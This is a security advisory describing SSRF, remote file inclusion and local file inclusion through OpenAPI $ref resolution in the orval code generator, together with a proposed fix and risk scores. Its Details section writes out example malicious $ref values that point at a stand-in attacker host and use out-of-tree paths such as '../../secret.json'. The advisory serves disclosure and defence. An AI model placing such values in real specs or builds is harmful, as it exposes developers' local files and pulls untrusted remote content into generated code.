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GHSA-cxq5-97v7-87j8

HighCVSS 7.1 / 10
Published Sep 2, 2026·Last modified Sep 2, 2026
Affected Components(1)
npm logoorval
< 8.22.0
Description

Summary

Orval resolves OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running orval on a spec whose $ref points at an attacker/internal URL or an arbitrary local file yields SSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class from Orval's published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers the $ref resolver.

Details

  • $ref: http://attacker/internal-evil.json#/... → build host fetches (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_ORVAL_PROP in the generated client.
  • $ref: /abs/path.json#/... or ../../secret.json#/... → out-of-tree local file read + inlined (LFI).

No RCE: on 8.19.0 the description JSDoc is escaped (*/->*\/, the published fix), so $ref content cannot break out into code. The chain stops at SSRF + RFI + LFI.

Fix: don't resolve remote $refs by default (opt-in + host allowlist); confine local $ref resolution to the input directory tree (reject absolute paths and ../ escapes).

PoC

reproduce.sh attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema inlined). Verified on Orval 8.19.0.

Impact

Build-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution (output escaping is in place post the earlier fixes).

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Risk Scores
Base Score
7.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
6.5

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.31%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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